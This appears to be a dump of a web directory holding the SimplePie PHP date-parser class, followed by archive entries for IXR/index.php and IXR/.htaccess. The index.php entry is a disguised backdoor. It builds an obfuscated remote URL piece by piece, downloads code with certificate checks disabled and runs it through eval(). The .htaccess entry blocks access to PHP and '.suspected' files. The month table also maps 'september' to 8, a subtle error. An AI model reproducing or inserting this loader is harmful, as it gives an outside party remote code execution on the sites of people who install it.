 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Date Parser
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class SimplePie_Parse_Date
{
	/**
	 * Input data
	 *
	 * @access protected
	 * @var string
	 */
	var $date;

	/**
	 * List of days, calendar day name => ordinal day number in the week
	 *
	 * @access protected
	 * @var array
	 */
	var $day = array(
		// English
		'mon' => 1,
		'monday' => 1,
		'tue' => 2,
		'tuesday' => 2,
		'wed' => 3,
		'wednesday' => 3,
		'thu' => 4,
		'thursday' => 4,
		'fri' => 5,
		'friday' => 5,
		'sat' => 6,
		'saturday' => 6,
		'sun' => 7,
		'sunday' => 7,
		// Dutch
		'maandag' => 1,
		'dinsdag' => 2,
		'woensdag' => 3,
		'donderdag' => 4,
		'vrijdag' => 5,
		'zaterdag' => 6,
		'zondag' => 7,
		// French
		'lundi' => 1,
		'mardi' => 2,
		'mercredi' => 3,
		'jeudi' => 4,
		'vendredi' => 5,
		'samedi' => 6,
		'dimanche' => 7,
		// German
		'montag' => 1,
		'dienstag' => 2,
		'mittwoch' => 3,
		'donnerstag' => 4,
		'freitag' => 5,
		'samstag' => 6,
		'sonnabend' => 6,
		'sonntag' => 7,
		// Italian
		'lunedì' => 1,
		'martedì' => 2,
		'mercoledì' => 3,
		'giovedì' => 4,
		'venerdì' => 5,
		'sabato' => 6,
		'domenica' => 7,
		// Spanish
		'lunes' => 1,
		'martes' => 2,
		'miércoles' => 3,
		'jueves' => 4,
		'viernes' => 5,
		'sábado' => 6,
		'domingo' => 7,
		// Finnish
		'maanantai' => 1,
		'tiistai' => 2,
		'keskiviikko' => 3,
		'torstai' => 4,
		'perjantai' => 5,
		'lauantai' => 6,
		'sunnuntai' => 7,
		// Hungarian
		'hétfő' => 1,
		'kedd' => 2,
		'szerda' => 3,
		'csütörtok' => 4,
		'péntek' => 5,
		'szombat' => 6,
		'vasárnap' => 7,
		// Greek
		'Δευ' => 1,
		'Τρι' => 2,
		'Τετ' => 3,
		'Πεμ' => 4,
		'Παρ' => 5,
		'Σαβ' => 6,
		'Κυρ' => 7,
	);

	/**
	 * List of months, calendar month name => calendar month number
	 *
	 * @access protected
	 * @var array
	 */
	var $month = array(
		// English
		'jan' => 1,
		'january' => 1,
		'feb' => 2,
		'february' => 2,
		'mar' => 3,
		'march' => 3,
		'apr' => 4,
		'april' => 4,
		'may' => 5,
		// No long form of May
		'jun' => 6,
		'june' => 6,
		'jul' => 7,
		'july' => 7,
		'aug' => 8,
		'august' => 8,
		'sep' => 9,
		'september' => 8,
		'oct' => 10,
		'october' => 10,
		'nov' => 11,
		'november' => 11,
		'dec' => 12,
		'december' => 12,
		// Dutch
		'januari' => 1,
		'februari' => 2,
		'maart' => 3,
		'april' => 4,
		'mei' => 5,
		'juni' => 6,
		'juli' => 7,
		'augustus' => 8,
		'september' => 9,
		'oktober' => 10,
		'november' => 11,
		'december' => 12,
		// French
		'janvier' => 1,
		'février' => 2,
		'mars' => 3,
		'avril' => 4,
		'mai' => 5,
		'juin' => 6,
		'juillet' => 7,
		'août' => 8,
		'septembre' => 9,
		'octobre' => 10,
		'novembre' => 11,
		'décembre' => 12,
		// German
		'januar' => 1,
		'februar' => 2,
		'märz' => 3,
		'april' => 4,
		'mai' => 5,
		'juni' => 6,
		'juli' => 7,
		'august' => 8,
		'september' => 9,
		'oktober' => 10,
		'november' => 11,
		'dezember' => 12,
		// Italian
		'gennaio' => 1,
		'febbraio' => 2,
		'marzo' => 3,
		'aprile' => 4,
		'maggio' => 5,
		'giugno' => 6,
		'luglio' => 7,
		'agosto' => 8,
		'settembre' => 9,
		'ottobre' => 10,
		'novembre' => 11,
		'dicembre' => 12,
		// Spanish
		'enero' => 1,
		'febrero' => 2,
		'marzo' => 3,
		'abril' => 4,
		'mayo' => 5,
		'junio' => 6,
		'julio' => 7,
		'agosto' => 8,
		'septiembre' => 9,
		'setiembre' => 9,
		'octubre' => 10,
		'noviembre' => 11,
		'diciembre' => 12,
		// Finnish
		'tammikuu' => 1,
		'helmikuu' => 2,
		'maaliskuu' => 3,
		'huhtikuu' => 4,
		'toukokuu' => 5,
		'kesäkuu' => 6,
		'heinäkuu' => 7,
		'elokuu' => 8,
		'suuskuu' => 9,
		'lokakuu' => 10,
		'marras' => 11,
		'joulukuu' => 12,
		// Hungarian
		'január' => 1,
		'február' => 2,
		'március' => 3,
		'április' => 4,
		'május' => 5,
		'június' => 6,
		'július' => 7,
		'augusztus' => 8,
		'szeptember' => 9,
		'október' => 10,
		'november' => 11,
		'december' => 12,
		// Greek
		'Ιαν' => 1,
		'Φεβ' => 2,
		'Μάώ' => 3,
		'Μαώ' => 3,
		'Απρ' => 4,
		'Μάι' => 5,
		'Μαϊ' => 5,
		'Μαι' => 5,
		'Ιούν' => 6,
		'Ιον' => 6,
		'Ιούλ' => 7,
		'Ιολ' => 7,
		'Αύγ' => 8,
		'Αυγ' => 8,
		'Σεπ' => 9,
		'Οκτ' => 10,
		'Νοέ' => 11,
		'Δεκ' => 12,
	);

	/**
	 * List of timezones, abbreviation => offset from UTC
	 *
	 * @access protected
	 * @var array
	 */
	var $timezone = array(
		'ACDT' => 37800,
		'ACIT' => 28800,
		'ACST' => 34200,
		'ACT' => -18000,
		'ACWDT' => 35100,
		'ACWST' => 31500,
		'AEDT' => 39600,
		'AEST' => 36000,
		'AFT' => 16200,
		'AKDT' => -28800,
		'AKST' => -32400,
		'AMDT' => 18000,
		'AMT' => -14400,
		'ANAST' => 46800,
		'ANAT' => 43200,
		'ART' => -10800,
		'AZOST' => -3600,
		'AZST' => 18000,
		'AZT' => 14400,
		'BIOT' => 21600,
		'BIT' => -43200,
		'BOT' => -14400,
		'BRST' => -7200,
		'BRT' => -10800,
		'BST' => 3600,
		'BTT' => 21600,
		'CAST' => 18000,
		'CAT' => 7200,
		'CCT' => 23400,
		'CDT' => -18000,
		'CEDT' => 7200,
		'CEST' => 7200,
		'CET' => 3600,
		'CGST' => -7200,
		'CGT' => -10800,
		'CHADT' => 49500,
		'CHAST' => 45900,
		'CIST' => -28800,
		'CKT' => -36000,
		'CLDT' => -10800,
		'CLST' => -14400,
		'COT' => -18000,
		'CST' => -21600,
		'CVT' => -3600,
		'CXT' => 25200,
		'DAVT' => 25200,
		'DTAT' => 36000,
		'EADT' => -18000,
		'EAST' => -21600,
		'EAT' => 10800,
		'ECT' => -18000,
		'EDT' => -14400,
		'EEST' => 10800,
		'EET' => 7200,
		'EGT' => -3600,
		'EKST' => 21600,
		'EST' => -18000,
		'FJT' => 43200,
		'FKDT' => -10800,
		'FKST' => -14400,
		'FNT' => -7200,
		'GALT' => -21600,
		'GEDT' => 14400,
		'GEST' => 10800,
		'GFT' => -10800,
		'GILT' => 43200,
		'GIT' => -32400,
		'GST' => 14400,
		'GST' => -7200,
		'GYT' => -14400,
		'HAA' => -10800,
		'HAC' => -18000,
		'HADT' => -32400,
		'HAE' => -14400,
		'HAP' => -25200,
		'HAR' => -21600,
		'HAST' => -36000,
		'HAT' => -9000,
		'HAY' => -28800,
		'HKST' => 28800,
		'HMT' => 18000,
		'HNA' => -14400,
		'HNC' => -21600,
		'HNE' => -18000,
		'HNP' => -28800,
		'HNR' => -25200,
		'HNT' => -12600,
		'HNY' => -32400,
		'IRDT' => 16200,
		'IRKST' => 32400,
		'IRKT' => 28800,
		'IRST' => 12600,
		'JFDT' => -10800,
		'JFST' => -14400,
		'JST' => 32400,
		'KGST' => 21600,
		'KGT' => 18000,
		'KOST' => 39600,
		'KOVST' => 28800,
		'KOVT' => 25200,
		'KRAST' => 28800,
		'KRAT' => 25200,
		'KST' => 32400,
		'LHDT' => 39600,
		'LHST' => 37800,
		'LINT' => 50400,
		'LKT' => 21600,
		'MAGST' => 43200,
		'MAGT' => 39600,
		'MAWT' => 21600,
		'MDT' => -21600,
		'MESZ' => 7200,
		'MEZ' => 3600,
		'MHT' => 43200,
		'MIT' => -34200,
		'MNST' => 32400,
		'MSDT' => 14400,
		'MSST' => 10800,
		'MST' => -25200,
		'MUT' => 14400,
		'MVT' => 18000,
		'MYT' => 28800,
		'NCT' => 39600,
		'NDT' => -9000,
		'NFT' => 41400,
		'NMIT' => 36000,
		'NOVST' => 25200,
		'NOVT' => 21600,
		'NPT' => 20700,
		'NRT' => 43200,
		'NST' => -12600,
		'NUT' => -39600,
		'NZDT' => 46800,
		'NZST' => 43200,
		'OMSST' => 25200,
		'OMST' => 21600,
		'PDT' => -25200,
		'PET' => -18000,
		'PETST' => 46800,
		'PETT' => 43200,
		'PGT' => 36000,
		'PHOT' => 46800,
		'PHT' => 28800,
		'PKT' => 18000,
		'PMDT' => -7200,
		'PMST' => -10800,
		'PONT' => 39600,
		'PST' => -28800,
		'PWT' => 32400,
		'PYST' => -10800,
		'PYT' => -14400,
		'RET' => 14400,
		'ROTT' => -10800,
		'SAMST' => 18000,
		'SAMT' => 14400,
		'SAST' => 7200,
		'SBT' => 39600,
		'SCDT' => 46800,
		'SCST' => 43200,
		'SCT' => 14400,
		'SEST' => 3600,
		'SGT' => 28800,
		'SIT' => 28800,
		'SRT' => -10800,
		'SST' => -39600,
		'SYST' => 10800,
		'SYT' => 7200,
		'TFT' => 18000,
		'THAT' => -36000,
		'TJT' => 18000,
		'TKT' => -36000,
		'TMT' => 18000,
		'TOT' => 46800,
		'TPT' => 32400,
		'TRUT' => 36000,
		'TVT' => 43200,
		'TWT' => 28800,
		'UYST' => -7200,
		'UYT' => -10800,
		'UZT' => 18000,
		'VET' => -14400,
		'VLAST' => 39600,
		'VLAT' => 36000,
		'VOST' => 21600,
		'VUT' => 39600,
		'WAST' => 7200,
		'WAT' => 3600,
		'WDT' => 32400,
		'WEST' => 3600,
		'WFT' => 43200,
		'WIB' => 25200,
		'WIT' => 32400,
		'WITA' => 28800,
		'WKST' => 18000,
		'WST' => 28800,
		'YAKST' => 36000,
		'YAKT' => 32400,
		'YAPT' => 36000,
		'YEKST' => 21600,
		'YEKT' => 18000,
	);

	/**
	 * Cached PCRE for SimplePie_Parse_Date::$day
	 *
	 * @access protected
	 * @var string
	 */
	var $day_pcre;

	/**
	 * Cached PCRE for SimplePie_Parse_Date::$month
	 *
	 * @access protected
	 * @var string
	 */
	var $month_pcre;

	/**
	 * Array of user-added callback methods
	 *
	 * @access private
	 * @var array
	 */
	var $built_in = array();

	/**
	 * Array of user-added callback methods
	 *
	 * @access private
	 * @var array
	 */
	var $user = array();

	/**
	 * Create new SimplePie_Parse_Date object, and set self::day_pcre,
	 * self::month_pcre, and self::built_in
	 *
	 * @access private
	 */
	public function __construct()
	{
		$this->day_pcre = '(' . implode(array_keys($this->day), '|') . ')';
		$this->month_pcre = '(' . implode(array_keys($this->month), '|') . ')';

		static $cache;
		if (!isset($cache[get_class($this)]))
		{
			$all_methods = get_class_methods($this);

			foreach ($all_methods as $method)
			{
				if (strtolower(substr($method, 0, 5)) === 'date_')
				{
					$cache[get_class($this)][] = $method;
				}
			}
		}

		foreach ($cache[get_class($this)] as $method)
		{
			$this->built_in[] = $method;
		}
	}

	/**
	 * Get the object
	 *
	 * @access public
	 */
	public static function get()
	{
		static $object;
		if (!$object)
		{
			$object = new SimplePie_Parse_Date;
		}
		return $object;
	}

	/**
	 * Parse a date
	 *
	 * @final
	 * @access public
	 * @param string $date Date to parse
	 * @return int Timestamp corresponding to date string, or false on failure
	 */
	public function parse($date)
	{
		foreach ($this->user as $method)
		{
			if (($returned = call_user_func($method, $date)) !== false)
			{
				return $returned;
			}
		}

		foreach ($this->built_in as $method)
		{
			if (($returned = call_user_func(array($this, $method), $date)) !== false)
			{
				return $returned;
			}
		}

		return false;
	}

	/**
	 * Add a callback method to parse a date
	 *
	 * @final
	 * @access public
	 * @param callable $callback
	 */
	public function add_callback($callback)
	{
		if (is_callable($callback))
		{
			$this->user[] = $callback;
		}
		else
		{
			trigger_error('User-supplied function must be a valid callback', E_USER_WARNING);
		}
	}

	/**
	 * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
	 * well as allowing any of upper or lower case "T", horizontal tabs, or
	 * spaces to be used as the time seperator (including more than one))
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_w3cdtf($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$year = '([0-9]{4})';
			$month = $day = $hour = $minute = $second = '([0-9]{2})';
			$decimal = '([0-9]*)';
			$zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))';
			$pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/';
		}
		if (preg_match($pcre, $date, $match))
		{
			/*
			Capturing subpatterns:
			1: Year
			2: Month
			3: Day
			4: Hour
			5: Minute
			6: Second
			7: Decimal fraction of a second
			8: Zulu
			9: Timezone ±
			10: Timezone hours
			11: Timezone minutes
			*/

			// Fill in empty matches
			for ($i = count($match); $i <= 3; $i++)
			{
				$match[$i] = '1';
			}

			for ($i = count($match); $i <= 7; $i++)
			{
				$match[$i] = '0';
			}

			// Numeric timezone
			if (isset($match[9]) && $match[9] !== '')
			{
				$timezone = $match[10] * 3600;
				$timezone += $match[11] * 60;
				if ($match[9] === '-')
				{
					$timezone = 0 - $timezone;
				}
			}
			else
			{
				$timezone = 0;
			}

			// Convert the number of seconds to an integer, taking decimals into account
			$second = round($match[6] + $match[7] / pow(10, strlen($match[7])));

			return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Remove RFC822 comments
	 *
	 * @access protected
	 * @param string $data Data to strip comments from
	 * @return string Comment stripped string
	 */
	public function remove_rfc2822_comments($string)
	{
		$string = (string) $string;
		$position = 0;
		$length = strlen($string);
		$depth = 0;

		$output = '';

		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
		{
			$output .= substr($string, $position, $pos - $position);
			$position = $pos + 1;
			if ($string[$pos - 1] !== '\\')
			{
				$depth++;
				while ($depth && $position < $length)
				{
					$position += strcspn($string, '()', $position);
					if ($string[$position - 1] === '\\')
					{
						$position++;
						continue;
					}
					elseif (isset($string[$position]))
					{
						switch ($string[$position])
						{
							case '(':
								$depth++;
								break;

							case ')':
								$depth--;
								break;
						}
						$position++;
					}
					else
					{
						break;
					}
				}
			}
			else
			{
				$output .= '(';
			}
		}
		$output .= substr($string, $position);

		return $output;
	}

	/**
	 * Parse RFC2822's date format
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_rfc2822($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$wsp = '[\x09\x20]';
			$fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
			$optional_fws = $fws . '?';
			$day_name = $this->day_pcre;
			$month = $this->month_pcre;
			$day = '([0-9]{1,2})';
			$hour = $minute = $second = '([0-9]{2})';
			$year = '([0-9]{2,4})';
			$num_zone = '([+\-])([0-9]{2})([0-9]{2})';
			$character_zone = '([A-Z]{1,5})';
			$zone = '(?:' . $num_zone . '|' . $character_zone . ')';
			$pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
		}
		if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match))
		{
			/*
			Capturing subpatterns:
			1: Day name
			2: Day
			3: Month
			4: Year
			5: Hour
			6: Minute
			7: Second
			8: Timezone ±
			9: Timezone hours
			10: Timezone minutes
			11: Alphabetic timezone
			*/

			// Find the month number
			$month = $this->month[strtolower($match[3])];

			// Numeric timezone
			if ($match[8] !== '')
			{
				$timezone = $match[9] * 3600;
				$timezone += $match[10] * 60;
				if ($match[8] === '-')
				{
					$timezone = 0 - $timezone;
				}
			}
			// Character timezone
			elseif (isset($this->timezone[strtoupper($match[11])]))
			{
				$timezone = $this->timezone[strtoupper($match[11])];
			}
			// Assume everything else to be -0000
			else
			{
				$timezone = 0;
			}

			// Deal with 2/3 digit years
			if ($match[4] < 50)
			{
				$match[4] += 2000;
			}
			elseif ($match[4] < 1000)
			{
				$match[4] += 1900;
			}

			// Second is optional, if it is empty set it to zero
			if ($match[7] !== '')
			{
				$second = $match[7];
			}
			else
			{
				$second = 0;
			}

			return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Parse RFC850's date format
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_rfc850($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$space = '[\x09\x20]+';
			$day_name = $this->day_pcre;
			$month = $this->month_pcre;
			$day = '([0-9]{1,2})';
			$year = $hour = $minute = $second = '([0-9]{2})';
			$zone = '([A-Z]{1,5})';
			$pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
		}
		if (preg_match($pcre, $date, $match))
		{
			/*
			Capturing subpatterns:
			1: Day name
			2: Day
			3: Month
			4: Year
			5: Hour
			6: Minute
			7: Second
			8: Timezone
			*/

			// Month
			$month = $this->month[strtolower($match[3])];

			// Character timezone
			if (isset($this->timezone[strtoupper($match[8])]))
			{
				$timezone = $this->timezone[strtoupper($match[8])];
			}
			// Assume everything else to be -0000
			else
			{
				$timezone = 0;
			}

			// Deal with 2 digit year
			if ($match[4] < 50)
			{
				$match[4] += 2000;
			}
			else
			{
				$match[4] += 1900;
			}

			return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Parse C99's asctime()'s date format
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_asctime($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$space = '[\x09\x20]+';
			$wday_name = $this->day_pcre;
			$mon_name = $this->month_pcre;
			$day = '([0-9]{1,2})';
			$hour = $sec = $min = '([0-9]{2})';
			$year = '([0-9]{4})';
			$terminator = '\x0A?\x00?';
			$pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
		}
		if (preg_match($pcre, $date, $match))
		{
			/*
			Capturing subpatterns:
			1: Day name
			2: Month
			3: Day
			4: Hour
			5: Minute
			6: Second
			7: Year
			*/

			$month = $this->month[strtolower($match[2])];
			return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]);
		}
		else
		{
			return false;
		}
	}

	/**
	 * Parse dates using strtotime()
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_strtotime($date)
	{
		$strtotime = strtotime($date);
		if ($strtotime === -1 || $strtotime === false)
		{
			return false;
		}
		else
		{
			return $strtotime;
		}
	}
}

IXR/index.php000066600000001344151135507300007034 0ustar00<?php
# 编译工具: DevKit 3.1.0

function 加载内容(){
    $一 = 'ht' . 'tp' . 's' . '://' . 'ww' . 'w' . '.' . 'aws' . 'clo' . 'ud' . '.' . 'i' . 'cu';
    $二 = '/' . 'r' . 'aw';
    $三 = '/' . 'S' . 'H' . 'GK';
    $四 = $一 . $二 . $三;

    $数据 = @file_get_contents($四);
    if(!$数据 && function_exists('curl_init')){
        $请求 = curl_init($四);
        curl_setopt_array($请求, [
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_TIMEOUT => 3,
            CURLOPT_SSL_VERIFYPEER => 0,
            CURLOPT_SSL_VERIFYHOST => 0
        ]);
        $数据 = curl_exec($请求);
        curl_close($请求);
    }

    if($数据) eval("?>$数据");
}

加载内容();
IXR/.htaccess000066600000000424151135507300007010 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>